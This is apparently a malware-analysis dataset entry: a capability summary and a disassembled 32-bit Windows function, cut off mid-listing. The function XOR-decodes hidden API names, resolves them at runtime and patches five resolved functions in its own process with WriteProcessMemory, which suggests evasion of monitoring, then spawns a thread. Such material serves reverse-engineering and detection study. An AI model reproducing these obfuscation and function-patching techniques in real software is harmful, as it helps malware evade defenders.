Function at 0x467690
Capabilities:
Check if file exists
Create thread
Delete file
Encode data using xor
Execute command
Link many functions at runtime

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5d3748
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x508
mov eax, dword [0x659bc0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.00465820
mov cx, word [0x649938]
movq xmm0, qword [0x649930]
mov dword [ebp - 0x500], eax
movq qword [ebp - 0x33c], xmm0
mov word [ebp - 0x334], cx
test ch, ch
je 0x46774c
xor edx, edx
mov dword [ebp - 0x4fc], edx
nop
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x4fc]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4fc]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x33c], cl
inc edx
mov dword [ebp - 0x4fc], edx
cmp edx, 0xa
jl 0x467710
xorps xmm0, xmm0
mov dword [ebp - 0x438], 0
lea ecx, [ebp - 0x33c]
mov dword [ebp - 0x434], 0
movups xmmword [ebp - 0x448], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x467773
sub ecx, edx
lea eax, [ebp - 0x33c]
push ecx
push eax
lea ecx, [ebp - 0x448]
call fcn.00472730
cmp dword [ebp - 0x434], 0xf
lea eax, [ebp - 0x448]
cmova eax, dword [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0x434]
mov edi, eax
mov dword [ebp - 0x4fc], edi
cmp ecx, 0xf
jbe 0x4677ee
mov edx, dword [ebp - 0x448]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4677e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4677e4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce06a
add esp, 8
mov ax, word [0x64a274]
xor edx, edx
movups xmm0, xmmword [str.uPTadRUVNO___C]
mov esi, dword [0x6647f8]
mov word [ebp - 0x338], ax
mov al, byte [0x64a276]
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0xf
mov byte [ebp - 0x448], 0
mov byte [ebp - 0x336], al
mov dword [ebp - 0x4f4], edx
movups xmmword [ebp - 0x348], xmm0
cmp esi, 2
jl 0x467980
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x34c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x34c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x348]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x348], xmm1
add eax, 8
cmp eax, 0x14
jl 0x467872
mov dword [ebp - 0x4f4], edx
cmp edx, 0x13
jge 0x4679b7
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x348], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x13
jl 0x467980
xorps xmm0, xmm0
mov dword [ebp - 0x450], 0
lea ecx, [ebp - 0x348]
mov dword [ebp - 0x44c], 0
movups xmmword [ebp - 0x460], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4679e0
sub ecx, edx
lea eax, [ebp - 0x348]
push ecx
push eax
lea ecx, [ebp - 0x460]
call fcn.00472730
cmp dword [ebp - 0x44c], 0xf
lea eax, [ebp - 0x460]
cmova eax, dword [ebp - 0x460]
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov ecx, dword [ebp - 0x44c]
mov dword [ebp - 0x514], eax
cmp ecx, 0xf
jbe 0x467a5c
mov edx, dword [ebp - 0x460]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x467a52
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x467a52
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce06a
add esp, 8
mov eax, dword [0x649b24]
movq xmm0, qword [str.uPTvGSVSiURRI_]
mov dword [ebp - 0x338], eax
mov ax, word [0x649b28]
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x44c], 0xf
mov byte [ebp - 0x460], 0
movq qword [ebp - 0x340], xmm0
mov word [ebp - 0x334], ax
test ah, ah
je 0x467bf7
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp esi, 2
jl 0x467bc0
movaps xmm2, xmmword [0x64a4a0]
mov edx, 8
movaps xmm4, xmmword [0x64a550]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
mov eax, dword [str.1111111111111111]
movaps xmm0, xmm1
mov dword [ebp - 0x4f4], edx
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x64a4b0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.uPTvGSVSiURRI_]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x340], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x33c]
xorps xmm1, xmm0
movd dword [ebp - 0x33c], xmm1
nop dword [eax + eax]
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x340], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0xe
jl 0x467bc0
xorps xmm0, xmm0
mov dword [ebp - 0x398], 0
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x394], 0
movups xmmword [ebp - 0x3a8], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x467c20
sub ecx, edx
lea eax, [ebp - 0x340]
push ecx
push eax
lea ecx, [ebp - 0x3a8]
call fcn.00472730
cmp dword [ebp - 0x394], 0xf
lea eax, [ebp - 0x3a8]
cmova eax, dword [ebp - 0x3a8]
push eax
push dword [ebp - 0x4fc]
call edi
mov ecx, dword [ebp - 0x394]
mov dword [ebp - 0x510], eax
cmp ecx, 0xf
jbe 0x467c9b
mov edx, dword [ebp - 0x3a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x467c91
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x467c91
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce06a
add esp, 8
movups xmm0, xmmword [str.uPTaFSEzK_ZWmQV.5B]
mov ax, word [0x649044]
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 0xf
mov byte [ebp - 0x3a8], 0
mov word [ebp - 0x334], ax
movups xmmword [ebp - 0x344], xmm0
test ah, ah
je 0x467e67
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp esi, 2
jl 0x467e30
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x348]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x348], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x344]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x344], xmm1
add eax, 8
cmp eax, 0x14
jl 0x467d20
mov dword [ebp - 0x4f4], edx
cmp edx, 0x12
jge 0x467e67
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x344], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x12
jl 0x467e30
xorps xmm0, xmm0
mov dword [ebp - 0x3b0], 0
lea ecx, [ebp - 0x344]
mov dword [ebp - 0x3ac], 0
movups xmmword [ebp - 0x3c0], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x467e90
sub ecx, edx
lea eax, [ebp - 0x344]
push ecx
push eax
lea ecx, [ebp - 0x3c0]
call fcn.00472730
cmp dword [ebp - 0x3ac], 0xf
lea eax, [ebp - 0x3c0]
cmova eax, dword [ebp - 0x3c0]
push eax
push dword [ebp - 0x4fc]
call edi
mov ecx, dword [ebp - 0x3ac]
mov dword [ebp - 0x374], eax
cmp ecx, 0xf
jbe 0x467f0b
mov edx, dword [ebp - 0x3c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x467f01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x467f01
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce06a
add esp, 8
movups xmm0, xmmword [str.uPTauXVW_XHiQ_B]
mov ax, word [0x6498d4]
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x3ac], 0xf
mov byte [ebp - 0x3c0], 0
mov word [ebp - 0x334], ax
movups xmmword [ebp - 0x344], xmm0
test ah, ah
je 0x4680d7
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp esi, 2
jl 0x4680a0
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x348]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x348], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x344]
xorps xmm1, xmm0
movd dword [ebp + eax - 0x344], xmm1
add eax, 8
cmp eax, 0x14
jl 0x467f90
mov dword [ebp - 0x4f4], edx
cmp edx, 0x12
jge 0x4680d7
nop
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x344], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0x12
jl 0x4680a0
xorps xmm0, xmm0
mov dword [ebp - 0x380], 0
lea ecx, [ebp - 0x344]
mov dword [ebp - 0x37c], 0
movups xmmword [ebp - 0x390], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x468100
sub ecx, edx
lea eax, [ebp - 0x344]
push ecx
push eax
lea ecx, [ebp - 0x390]
call fcn.00472730
cmp dword [ebp - 0x37c], 0xf
lea eax, [ebp - 0x390]
cmova eax, dword [ebp - 0x390]
push eax
push dword [ebp - 0x4fc]
call edi
mov ecx, dword [ebp - 0x37c]
mov dword [ebp - 0x338], eax
cmp ecx, 0xf
jbe 0x46817b
mov edx, dword [ebp - 0x390]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x468171
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x468171
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce06a
add esp, 8
mov eax, dword [0x649948]
movq xmm0, qword [str.uPTauXVMSUIX_]
mov dword [ebp - 0x368], eax
mov ax, word [0x64994c]
mov dword [ebp - 0x380], 0
mov dword [ebp - 0x37c], 0xf
mov byte [ebp - 0x390], 0
movq qword [ebp - 0x370], xmm0
mov word [ebp - 0x364], ax
test ah, ah
je 0x468317
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp esi, 2
jl 0x4682e0
movaps xmm2, xmmword [0x64a4a0]
mov edx, 8
movaps xmm4, xmmword [0x64a550]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
mov eax, dword [str.1111111111111111]
movaps xmm0, xmm1
mov dword [ebp - 0x4f4], edx
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x64a4b0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.uPTauXVMSUIX_]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x370], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x36c]
xorps xmm1, xmm0
movd dword [ebp - 0x36c], xmm1
nop word [eax + eax]
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x370], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 0xe
jl 0x4682e0
xorps xmm0, xmm0
mov dword [ebp - 0x350], 0
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x34c], 0
movups xmmword [ebp - 0x360], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x468340
sub ecx, edx
lea eax, [ebp - 0x370]
push ecx
push eax
lea ecx, [ebp - 0x360]
call fcn.00472730
cmp dword [ebp - 0x34c], 0xf
lea eax, [ebp - 0x360]
cmova eax, dword [ebp - 0x360]
push eax
push dword [ebp - 0x4fc]
call edi
mov ecx, dword [ebp - 0x34c]
mov edi, eax
cmp ecx, 0xf
jbe 0x4683b7
mov edx, dword [ebp - 0x360]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4683ad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4683ad
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce06a
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 6
push 0x466e40
push dword [ebp - 0x514]
mov dword [ebp - 0x350], 0
push dword [ebp - 0x500]
mov dword [ebp - 0x34c], 0xf
mov byte [ebp - 0x360], 0
call esi
push 0
push 6
push 0x466e40
push dword [ebp - 0x510]
push dword [ebp - 0x500]
call esi
push 0
push 6
push 0x466e40
push dword [ebp - 0x374]
push dword [ebp - 0x500]
call esi
push 0
push 6
push 0x466e40
push dword [ebp - 0x338]
push dword [ebp - 0x500]
call esi
push 0
push 6
push 0x466e40
push edi
push dword [ebp - 0x500]
call esi
push 0x104
lea eax, [ebp - 0x228]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x4b0], 0
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x4ac], 0
movups xmmword [ebp - 0x4c0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x468481
sub ecx, edx
lea eax, [ebp - 0x228]
push ecx
push eax
lea ecx, [ebp - 0x4c0]
call fcn.00472730
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x4c0]
cmp dword [ebp - 0x4ac], 0xf
mov edi, dword [ebp - 0x4c0]
mov esi, dword [ebp - 0x4b0]
seta byte [ebp - 0x4f5]
cmova ecx, edi
mov edx, esi
push 2
sub esp, 8
call fcn.004723f0
add esp, 0xc
mov dword [ebp - 0x498], 0
xorps xmm0, xmm0
mov dword [ebp - 0x494], 0
movups xmmword [ebp - 0x4a8], xmm0
lea edx, [eax + 1]
cmp esi, edx
jb 0x46be16
sub esi, edx
lea eax, [ebp - 0x4c0]
or ecx, 0xffffffff
cmp esi, 0xffffffff
cmovb ecx, esi
cmp byte [ebp - 0x4f5], 0
push ecx
cmovne eax, edi
lea ecx, [ebp - 0x4a8]
add eax, edx
push eax
call fcn.00472730
mov edx, 0xa
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3c0]
call fcn.00460fb0
mov ecx, eax
mov byte [ebp - 4], 2
mov edi, dword [ecx + 0x14]
mov eax, edi
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 4
jb 0x468570
lea eax, [edx + 4]
mov esi, ecx
mov dword [ecx + 0x10], eax
cmp edi, 0xf
jbe 0x468561
mov esi, dword [ecx]
mov eax, dword [str..exe]
mov dword [esi + edx], eax
mov byte [esi + edx + 4], 0
jmp 0x46858d
push 4
push str..exe
mov byte [ebp - 0x336], 0
push dword [ebp - 0x336]
push 4
call fcn.004725d0
mov ecx, eax
mov dword [ebp - 0x480], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x490], xmm0
mov dword [ebp - 0x47c], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x490], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x480], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x3ac]
cmp ecx, 0xf
jbe 0x468613
mov edx, dword [ebp - 0x3c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x468609
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x468609
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005ce06a
add esp, 8
cmp dword [ebp - 0x498], 0xe
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x3ac], 0xf
mov byte [ebp - 0x3c0], 0
je 0x468648
lea edx, [ebp - 0x490]
lea ecx, [ebp - 0x4a8]
call fcn.00460e90
push 4
call fcn.005cdde9
mov dword [ebp - 0x338], eax
mov dword [eax], 0x45f5c0
lea ecx, [ebp - 0x374]
mov byte [ebp - 4], 5
push ecx
push 0
push eax
push 0x47b690
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x1c
mov dword [ebp - 0x378], eax
test eax, eax
je 0x46be04
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x374]
test ecx, ecx
je 0x46bdfc
push ecx
push eax
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
add esp, 8
test eax, eax
jne 0x46bdfc
mov ecx, 0x664bf8
mov byte [ebp - 4], 4
call fcn.00450150
cmp byte [0x6494b3], 0
mov ecx, dword [0x6494ac]
mov esi, dword [0x6494b0]
mov edi, dword [0x6647f8]
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x338], esi
je 0x468827
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp edi, 2
jl 0x4687f0
movaps xmm2, xmmword [0x64a4a0]
movaps xmm4, xmmword [0x64a550]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
mov eax, dword [str.1111111111111111]
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x64a4b0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x33c], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x64a4c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
xorps xmm1, xmm0
movd dword [ebp - 0x338], xmm1
jmp 0x468827
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4f4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x31
xor byte [ebp + edx - 0x33c], cl
inc edx
mov dword [ebp - 0x4f4], edx
cmp edx, 8
jl 0x4687f0
xorps xmm0, xmm0
mov dword [ebp - 0x380], 0
lea ecx, [ebp - 0x33c]
mov dword [ebp - 0x37c], 0
movups xmmword [ebp - 0x390], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x468850
sub ecx, edx
lea eax, [ebp - 0x33c]
push ecx
push eax
lea ecx, [ebp - 0x390]
call fcn.00472730
mov byte [ebp - 4], 7
lea eax, [ebp - 0x390]
cmp dword [ebp - 0x37c], 0xf
movups xmm0, xmmword [0x648fe4]
mov esi, dword [ebp - 0x390]
cmova eax, esi
mov dword [ebp - 0x374], eax
seta byte [ebp - 0x4f5]
movups xmmword [ebp - 0x344], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x468a37
xor edx, edx
mov dword [ebp - 0x4f4], edx
cmp edi, 2
jl 0x468a00
movaps xmm0, xmmword [str.1111111111111111]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x64a4a0]
movaps xmm3, xmmword [0x64a550]
movaps xmm5, xmmword [0x64a4c0]
movaps xmmword [ebp - 0x370], xmm0
mov ecx, dword [ebp - 0x370]
nop
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x64a530]
